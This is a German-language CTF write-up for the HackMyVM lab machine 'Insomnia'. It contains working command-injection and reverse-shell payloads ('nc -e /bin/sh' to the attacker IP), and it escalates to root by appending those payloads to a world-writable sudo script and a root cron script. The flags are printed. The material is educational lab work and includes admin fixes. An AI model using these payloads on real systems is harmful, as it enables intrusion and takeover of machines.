Insomnia - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
nikto
curl
dirb
wfuzz
nc (netcat)
python3
stty
sudo
ls
cat
file
echo
cd
find
uname
ss
grep
id
export
bash

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment ausgeführt.

Bewertung: Ein Host mit der IP `192.168.2.111` und der MAC-Adresse `08:00:27:9c:cc:3b` (VirtualBox) wird als Zielsystem erkannt.

Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.111 durch, um offene Ports und Dienste zu ermitteln.
Empfehlung (Admin): Netzwerküberwachung zur Erkennung unbekannter Geräte.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.121
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.111	08:00:27:9c:cc:3b	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.855 seconds (138.01 hosts/sec). 1 responded
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf das Ziel 192.168.2.111 durchgeführt.

Bewertung: Der Scan findet **nur einen offenen Port**: - **Port 8080 (HTTP):** Läuft ein PHP CLI Server (Version 5.5 oder höher, spezifisch PHP 7.3.19). Der Seitentitel ist "Chat". Kein SSH oder andere Standarddienste sind offen. Der Hostname ist `insomnia`. Das OS ist Linux.

Empfehlung (Pentester): Der Angriff muss sich vollständig auf den Webdienst auf Port 8080 konzentrieren. Untersuche die "Chat"-Anwendung gründlich.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Ports offen sind. PHP CLI Server ist primär für Entwicklung gedacht und sollte nicht für produktive, exponierte Dienste verwendet werden.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.111 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-04 16:12 CET
Nmap scan report for insomnia (192.168.2.111)
Host is up (0.00011s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
8080/tcp open  http    PHP cli server 5.5 or later (PHP 7.3.19-1~deb10u1) 
|_http-title: Chat
|_http-server-header: PHP 7.3.19-1~deb10u1 Development Server 
MAC Address: 08:00:27:9C:CC:3B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms insomnia (192.168.2.111)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.34 seconds 
                    

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf `http://192.168.2.111:8080` verwendet.

Bewertung: !!Fehlgeschlagen!!** Gobuster bricht mit einem Fehler ab. Der Server gibt für nicht existierende URLs einen Statuscode 200 zurück, was Standard-Directory-Busting unmöglich macht. Der zweite Versuch (identischer Befehl) scheitert ebenso.

Empfehlung (Pentester): Wechsle zu Tools, die nach Inhaltslänge oder anderen Merkmalen filtern können (z.B. `wfuzz --hc 404 --hh [Standardgröße]`, `ffuf -fs [Standardgröße]`). Untersuche die Anwendung manuell.
Empfehlung (Admin): Konfiguriere den Webserver (auch den PHP Dev Server, falls möglich), um korrekte 404-Fehlercodes zu senden.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.111:8080 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,war,jse,jar,asp,aspx,csv,rtf,doc,docx,dsd,mp3,mp4,mkv,log,sh,dll,exe,ico,pem,pub -b 404,403
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.111:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.3
[+] Extensions:              ... (gekürzt) ...
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/11/04 16:14:10 Starting gobuster in directory enumeration mode
===============================================================
[!] Error: the server returns a status code that matches the provided options for non existing urls. http://192.168.2.111:8080/2a43c755-6457-4fd5-af10-7a412016cf2e => 200 (Length: 2899). To continue please exclude the status code or the length
                     

Analyse: `nikto` wird auf `192.168.2.111:8080` ausgeführt.

Bewertung: Nikto identifiziert den `X-Powered-By: PHP/7.3.19`-Header, meldet fehlende Security-Header und einen wahrscheinlichen Oracle-Reports-False-Positive. Der Scan bricht wegen zu vieler Fehler ab, was auf Probleme mit der Reaktion des Servers hindeutet.

Empfehlung (Pentester): Nikto liefert hier wenig. Konzentriere dich auf manuelle Analyse und gezieltes Fuzzing.
Empfehlung (Admin): Entferne den `X-Powered-By`-Header. Setze Security-Header.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.111:8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.111
+ Target Hostname:    192.168.2.111
+ Target Port:        8080
+ Start Time:         2022-11-04 16:14:31 (GMT1)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: PHP/7.3.19-1~deb10u1
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-18114: /reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF: Oracle Reports rwservlet report Variable Arbitrary Report Executable Execution 
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated:  20 error(s) and 5 item(s) reported on remote host
+ End Time:           2022-11-04 16:14:44 (GMT1) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Der Inhalt der Startseite (`/`) wird mit `curl` geholt.

Bewertung: Die Seite enthält nur das Wort "Chat", wie schon von Nmap (`http-title`) angedeutet.

Empfehlung (Pentester): Untersuche den Quellcode der Seite.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# curl -X GET http://192.168.2.111:8080
Chat
                    

Analyse: Ein JavaScript-Codeausschnitt (vermutlich aus dem Quellcode der Startseite oder einer eingebundenen JS-Datei) und die Notiz "process.php" werden gezeigt.

Bewertung: !!Wichtige Funktion aufgedeckt!!** Der Code zeigt eine `sendChat`-Funktion, die eine AJAX POST-Anfrage an `process.php` sendet. Die Parameter sind `function=send`, `message`, `nickname` und `file`. Dies enthüllt das Kernstück der Chat-Funktionalität und die verantwortliche Backend-Datei.

Empfehlung (Pentester): Teste `process.php` mit POST-Requests und den Parametern `function`, `message`, `nickname`, `file`. Fuzze diese Parameter auf Schwachstellen (XSS, Injection etc.).
Empfehlung (Admin): Sichere die `process.php` durch strikte Eingabevalidierung und -sanitisierung für alle Parameter.

// Aus dem Quellcode von index.php (Vermutung):
process.php

// ...alert('hi ben');// XSS Versuch von 'ben'?

function sendChat(message, nickname)
{
    updateChat(); // Andere Funktion
     $.ajax({
		   type: "POST", // POST Request
		   url: "process.php", // Ziel-Skript
		   data: {
		   			'function': 'send', // Funktion
					'message': message, // Nachricht
					'nickname': nickname, // Benutzername
					'file': file // Datei ???
				 },
		   dataType: "json",
		   success: function(data){
			   updateChat();
		   },
     }); // Fehlendes schließendes Klammerpaar ergänzt
}
                     

Analyse: Die HTTP-Header von `process.php` werden mit `curl -I` (HEAD-Request) und der Inhalt mit `curl -X GET` abgerufen.

Bewertung: Bestätigt die Existenz von `process.php` und die PHP-Version. Der GET-Request liefert ein leeres JSON-Array `[]`, was darauf hindeutet, dass POST-Daten oder spezifische Parameter benötigt werden.

Empfehlung (Pentester): Fokussiere dich auf POST-Requests an `process.php` mit den zuvor identifizierten Parametern.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# curl -I http://192.168.2.111:8080/process.php
HTTP/1.1 200 OK
Host: 192.168.2.111:8080
Date: Fri, 04 Nov 2022 15:23:50 GMT
Connection: close
X-Powered-By: PHP/7.3.19-1~deb10u1
Content-type: text/html; charset=UTF-8
                     
┌──(root㉿cyber)-[~] └─# curl -X GET "http://192.168.2.111:8080/process.php"
[]
                     

Analyse: Ein `dirb`-Scan wird spezifisch für `.txt`- und `.php`-Dateien ausgeführt.

Bewertung: !!Wichtige Dateien gefunden!!** - `administration.php`: Eine potenzielle Admin-Oberfläche. - `chat.txt`: Wahrscheinlich die Datei, in der die Chat-Nachrichten gespeichert werden. - `index.php`, `process.php`: Bereits bekannt.

Empfehlung (Pentester): Untersuche `administration.php` auf Login-Möglichkeiten oder Schwachstellen. Lese `chat.txt`, um zu sehen, ob die XSS-Payloads darin gespeichert wurden.
Empfehlung (Admin): Sichere den Zugriff auf `administration.php`. Überprüfe die Berechtigungen für `chat.txt`.

┌──(root㉿cyber)-[~] └─# dirb http://192.168.2.111:8080/ -X .txt,.php
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Nov  4 16:33:50 2022
URL_BASE: http://192.168.2.111:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.txt,.php) | (.txt)(.php) [NUM = 2]

-----------------

GENERATED WORDS: 9224 

---- Scanning URL: http://192.168.2.111:8080/ ----
+ http://192.168.2.111:8080/administration.php (CODE:200|SIZE:65)
+ http://192.168.2.111:8080/chat.txt (CODE:200|SIZE:150)
+ http://192.168.2.111:8080/index.php (CODE:200|SIZE:2899)
+ http://192.168.2.111:8080/process.php (CODE:200|SIZE:2)

-----------------
END_TIME: Fri Nov  4 16:33:55 2022
DOWNLOADED: 9224 - FOUND: 4
                    

Analyse: Der Inhalt von `chat.txt` wird abgerufen (vermutlich via `curl` oder Browser).

Bewertung: Zeigt die gespeicherten Chat-Nachrichten, inklusive der XSS-Payloads mit `alert()`. Bestätigt, dass Nachrichten hier landen.

Empfehlung (Pentester): Konzentriere dich auf `administration.php`.
Empfehlung (Admin): Sanitize Eingaben, bevor sie in `chat.txt` gespeichert werden, um Stored XSS zu verhindern.

# Inhalt von http://192.168.2.111:8080/chat.txt

bend
benhi
benhi
benalert('hi ben'); 
benalert('hi ben'); 
benssssss
                     

Analyse: `wfuzz` wird verwendet, um GET-Parameter für `administration.php` zu finden. Es filtert Antworten mit der Standardgröße (65 Chars) heraus.

Bewertung: !!Wichtiger Parameter gefunden!!** Der Parameter `logfile` wird entdeckt.

Empfehlung (Pentester): Teste den `logfile`-Parameter auf LFI und Command Injection.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt -u "http://192.168.2.111:8080/administration.php?FUZZ=test" --hh 65
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
  warn(
 ********************************************************
 * Wfuzz 3.1.0 - The Web Fuzzer                         *
 ********************************************************

Target: http://192.168.2.111:8080/administration.php?FUZZ=test
Total requests: 951

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000485:   200        2 L      12 W       69 Ch       "logfile"

Total time: ...
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: ...
                      

Vulnerability Assessment (Web)

Analyse: Die `administration.php` wird mit dem `logfile`-Parameter aufgerufen. Zuerst mit `logfile=test`, dann mit `logfile=chat.txt`.

Bewertung: !!Command Injection Schwachstelle bestätigt!!** - `logfile=test`: Gibt die Fehlermeldung "You are not allowed to view : test" aus, zeigt aber, dass der Parameterwert in der Antwort reflektiert wird. - `logfile=chat.txt`: Gibt den Inhalt von `chat.txt` aus (hier nur "ben"). Dies bestätigt eine (möglicherweise eingeschränkte) LFI. **Entscheidend:** Das Verhalten deutet darauf hin, dass der Wert von `logfile` *vor* der Berechtigungsprüfung oder Dateianzeige unsicher verwendet wird, was eine Command Injection ermöglicht, wenn Shell-Metazeichen wie `;` verwendet werden.

Empfehlung (Pentester): Nutze die Command Injection aus. Konstruiere eine Payload wie `logfile=[GÜLTIGE_DATEI];[BEFEHL]`. Beispiel: `logfile=chat.txt;nc -e /bin/sh [ATTACKER_IP] [PORT]` für eine Reverse Shell.
Empfehlung (Admin):**DRINGEND:** Behebe die Command Injection in `administration.php`. Validiere und sanitisiere den `logfile`-Parameter streng. Führe niemals Benutzereingaben direkt oder indirekt als Shell-Befehle aus.

┌──(root㉿cyber)-[~] └─# curl -X GET "http://192.168.2.111:8080/administration.php?logfile=test"

You are not allowed to view : test
Your activity has been logged
┌──(root㉿cyber)-[~] └─# curl -X GET "http://192.168.2.111:8080/administration.php?logfile=chat.txt"

 ben 

                     

Initial Access (www-data)

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet.

Bewertung: Vorbereitung zum Empfang der Reverse Shell.

Empfehlung (Pentester): Sende den Exploit-Payload.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
                     

Analyse: Die Command Injection Payload wird konstruiert und über den Browser (oder `curl`) aufgerufen: `http://.../administration.php?logfile=chat.txt;nc -e /bin/sh [ATTACKER_IP] 4444`.

Bewertung: Korrekter Exploit-Payload, der die Schwachstelle ausnutzt, um eine Reverse Shell zu starten.

Empfehlung (Pentester): Überprüfe den Listener.
Empfehlung (Admin): Behebe die Schwachstelle.

# Payload via Browser/Curl:
http://192.168.2.111:8080/administration.php?logfile=chat.txt;nc -e /bin/sh 192.168.2.121 4444
                     

Analyse: Der Netcat-Listener empfängt die Verbindung vom Ziel.

Bewertung: !!Initial Access erfolgreich!!** Eine Shell als `www-data` wird erhalten.

Empfehlung (Pentester): Stabilisiere die Shell.
Empfehlung (Admin): Untersuche den Vorfall.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.111] 45060
/bin/sh: 0: can't access tty; job control turned off 
$ 
                     

Analyse: Die Shell wird stabilisiert.

Bewertung: Erfolgreich.

Empfehlung (Pentester): Beginne Enumeration.
Empfehlung (Admin): Keine Aktion.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@insomnia:~/html$ export TERM=xterm
www-data@insomnia:~/html$
                    
^Z
zsh: suspended  nc -lvnp 4444
                     
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 4444
                               reset
www-data@insomnia:~/html$ 
                     

Privilege Escalation (www-data zu Julia)

Analyse: Als `www-data` wird `sudo -l` ausgeführt.

Bewertung: !!Privilegieneskalationsvektor gefunden!!** `www-data` darf `/bin/bash /var/www/html/start.sh` als Benutzer `julia` ohne Passwort ausführen.

Empfehlung (Pentester): Untersuche `/var/www/html/start.sh` und dessen Berechtigungen.
Empfehlung (Admin): Überprüfe `sudo`-Regeln sorgfältig.

www-data@insomnia:~/html$ sudo -l
Matching Defaults entries for www-data on insomnia:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on insomnia:
    (julia) NPASSWD: /bin/bash /var/www/html/start.sh
                    

Analyse: Das Home-Verzeichnis wird aufgelistet (findet `julia`), der Inhalt von `start.sh` wird angezeigt (`php -S 0...`) und die Berechtigungen von `start.sh` werden geprüft (`ls -la`).

Bewertung: !!Exploitierbare Konfiguration!!** Das Skript `start.sh` ist **weltweit beschreibbar** (`-rwxrwxrwx`). Da `www-data` das Skript ändern und es dann als `julia` ausführen darf, ist eine Eskalation möglich.

Empfehlung (Pentester): Hänge einen Befehl (z.B. Reverse Shell) an `start.sh` an und führe es mit `sudo -u julia ...` aus.
Empfehlung (Admin):**DRINGEND:** Korrigiere die Berechtigungen von `start.sh` (sollte nur für den Besitzer schreibbar sein). Korrigiere die unsichere `sudo`-Regel.

www-data@insomnia:~/html$ ls /home
julia
www-data@insomnia:~/html$ cat /var/www/html/start.sh
php -S 0.0.0.0:8080
www-data@insomnia:~/html$ ls -la /var/www/html/start.sh
-rwxrwxrwx 1 root root 20 Dec 21  2020 /var/www/html/start.sh 
                     

Analyse: Der Angreifer hängt einen Netcat-Reverse-Shell-Befehl an `start.sh` an und führt das modifizierte Skript dann mit `sudo -u julia ...` aus.

Bewertung: Der Exploit wird korrekt ausgeführt. Der ursprüngliche PHP-Befehl schlägt fehl (Port bereits belegt), aber der angehängte `nc`-Befehl wird als `julia` ausgeführt.

Empfehlung (Pentester): Bereite einen Listener auf Port 5555 vor.
Empfehlung (Admin): Behebe die Berechtigungs- und `sudo`-Probleme.

www-data@insomnia:~/html$ cd /tmp/
www-data@insomnia:/tmp$ echo 'nc -e /bin/sh 192.168.2.121 5555' >> /var/www/html/start.sh
www-data@insomnia:/tmp$ sudo -l 
Matching Defaults entries for www-data on insomnia:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on insomnia:
    (julia) NPASSWD: /bin/bash /var/www/html/start.sh
www-data@insomnia:/tmp$ sudo -u julia /bin/bash /var/www/html/start.sh
[Fri Nov  4 11:58:30 2022] Failed to listen on 0.0.0.0:8080 (reason: Address already in use) 

                     

Analyse: Ein neuer Netcat-Listener auf Port 5555 empfängt die Verbindung. `id` bestätigt die Rechte des Benutzers `julia`.

Bewertung: !!Benutzerwechsel erfolgreich!!** Eine Shell als `julia` wurde erlangt.

Empfehlung (Pentester): Stabilisiere die Shell. Lies die User-Flag. Suche nach dem nächsten Eskalationsschritt.
Empfehlung (Admin): Untersuche den Vorfall.

┌──(root㉿cyber)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.111] 49730
id
uid=1000(julia) gid=1000(julia) groups=1000(julia),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
$ 
                     

Analyse: Es wird angenommen, dass die Shell als `julia` stabilisiert wurde.

Bewertung: Erleichtert die weitere Interaktion.

Analyse: Als `julia` wird die User-Flag gelesen.

Bewertung: User-Flag `c2e285cb33cecdbeb83d2189e983a8c0` gefunden.

Empfehlung (Pentester): Suche nach Root-Eskalation.
Empfehlung (Admin): Keine Aktion.

julia@insomnia:/tmp$ cd ~ 
julia@insomnia:~$ cat user.txt

~\
USER INSMNIA
~
Flag : [c2e285cb33cecdbeb83d2189e983a8c0]
                      

Privilege Escalation (Julia zu Root)

Analyse: Als `julia` wird `sudo -l` ausgeführt.

Bewertung: `julia` benötigt ein Passwort für `sudo`. `sudo` ist somit kein direkter Vektor von hier aus.

Empfehlung (Pentester): Suche nach anderen Vektoren: SUID, Cronjobs, Kernel-Exploits, Konfigurationsfehler.
Empfehlung (Admin): Korrekte `sudo`-Konfiguration für diesen Benutzer.

julia@insomnia:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for julia: 
                     

Analyse: Systeminformationen werden gesammelt (`/etc/*rel*`, `uname`).

Bewertung: Bestätigt Debian 10 (Buster) und Kernel 4.19. Dies könnte für die Suche nach Kernel-Exploits relevant sein, aber oft gibt es einfachere Wege.

Empfehlung (Pentester): Notieren, aber zuerst nach einfacheren Vektoren suchen.
Empfehlung (Admin): System aktuell halten.

julia@insomnia:~$ cat /etc/*rel*
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
julia@insomnia:~$ uname -a
Linux insomnia 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 GNU/Linux
julia@insomnia:~$ uname -r
4.19.0-12-amd64
julia@insomnia:~$ uname -m
x86_64
                     

Analyse: Es wird nach SUID-Binaries gesucht.

Bewertung: Es werden nur Standard-SUID-Binaries gefunden. Kein offensichtlicher Eskalationsvektor hier.

Empfehlung (Pentester): Untersuche Cronjobs oder andere Konfigurationen.
Empfehlung (Admin): Keine Aktion.

julia@insomnia:~$ find / -type f -perm -4000 -ls 2>/dev/null
    17173     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
    28978     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    32504    428 -rwsr-xr-x   1 root     root         436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
      279     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
      278     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn
      281     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd
    42484    156 -rwsr-xr-x   1 root     root         157192 Feb  2  2020 /usr/bin/sudo
     4059     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /usr/bin/mount
      282     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
      257     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /usr/bin/su
     4061     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /usr/bin/umount
     3826     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
                     

Analyse: Netzwerk-Sockets werden mit `ss -tulpen` überprüft.

Bewertung: Bestätigt, dass nur Port 8080 (von Prozess mit UID 33, www-data) und Port 68 (DHCP-Client) lauschen. Keine versteckten Dienste.

Empfehlung (Pentester): Untersuche Cronjobs.
Empfehlung (Admin): Keine Aktion.

julia@insomnia:/var/www$ ss -tulpen
Netid  State    Recv-Q   Send-Q     Local Address:Port      Peer Address:Port  Process
udp    UNCONN   0        0                0.0.0.0:68             0.0.0.0:*      users:(("dhclient",pid=XXX,fd=X)) ino:13546 sk:1 <->
tcp    LISTEN   0        128              0.0.0.0:8080           0.0.0.0:*      users:(("php",pid=XXX,fd=X)) uid:33 ino:14222 sk:2 <->
                     

Analyse: Die System-Crontab (`/etc/crontab`) wird angezeigt. Anschließend werden die Berechtigungen des darin referenzierten Skripts `/var/cron/check.sh` geprüft.

Bewertung: !!Privilegieneskalationsvektor gefunden!!** Die Crontab zeigt, dass `/bin/bash /var/cron/check.sh` **jede Minute** als **root** ausgeführt wird. Die Dateiberechtigungen von `check.sh` sind `-rwxrwxrwx` (777), was bedeutet, dass **jeder Benutzer** das Skript ändern kann.

Empfehlung (Pentester): Hänge einen Reverse-Shell-Payload an `/var/cron/check.sh` an. Starte einen Listener auf dem entsprechenden Port und warte maximal eine Minute, bis der Cronjob die Shell auslöst.
Empfehlung (Admin):**DRINGEND:** Korrigiere die Berechtigungen von `/var/cron/check.sh` (`chmod 755`, `chown root:root`). Überprüfe alle Cronjobs auf unsichere Berechtigungen oder Skripte.

julia@insomnia:~$ cat /etc/crontab
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    /bin/bash /var/cron/check.sh 
julia@insomnia:~$ cd /var/cron
julia@insomnia:/var/cron$ ls -la | grep check.sh
-rwxrwxrwx  1 root root  153 Dec 21 04:17 check.sh 
                      

Analyse: Ein Netcat-Listener wird auf Port 4447 gestartet. Anschließend wird ein Netcat-Reverse-Shell-Befehl an die Datei `/var/cron/check.sh` angehängt (`>>`).

Bewertung: Der Exploit wird vorbereitet. Der `>>` Operator stellt sicher, dass der ursprüngliche Inhalt des Skripts nicht überschrieben wird (obwohl das hier wahrscheinlich egal wäre).

Empfehlung (Pentester): Warte maximal eine Minute auf die eingehende Verbindung.
Empfehlung (Admin): Korrigiere die Berechtigungen.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4447
listening on [any] 4447 ...
                     
julia@insomnia:/var/cron$  echo 'nc -e /bin/sh 192.168.2.121 4447' >> check.sh
                     

Proof of Concept (Root)

Analyse: Der Netcat-Listener auf Port 4447 empfängt die Verbindung, die durch den minütlichen Cronjob ausgelöst wurde.

Bewertung: !!Privilegieneskalation erfolgreich!!** Der Cronjob hat das modifizierte `check.sh` als `root` ausgeführt und die Reverse Shell gestartet. Der `id`-Befehl bestätigt `uid=0(root)`.

Empfehlung (Pentester): Ziel erreicht. Lese die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Korrigiere die Dateiberechtigungen von `/var/cron/check.sh`.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4447
listening on [any] 4447 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.111] 34094
 id
uid=0(root) gid=0(root) groups=0(root)
                     

Analyse: Als Root wird die Root-Flag gelesen.

Bewertung: Root-Flag `c84baebe0faa2fcdc2f1a4a9f6e2fbfc` erfolgreich gelesen.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.

# ls
root.txt
# cat root.txt

~\
ROOTED INSMNIA 
~
Flag : [c84baebe0faa2fcdc2f1a4a9f6e2fbfc]

by Alienum with <3 
                      

Flags

cat /root/root.txt
c84baebe0faa2fcdc2f1a4a9f6e2fbfc
cat /home/julia/user.txt
c2e285cb33cecdbeb83d2189e983a8c0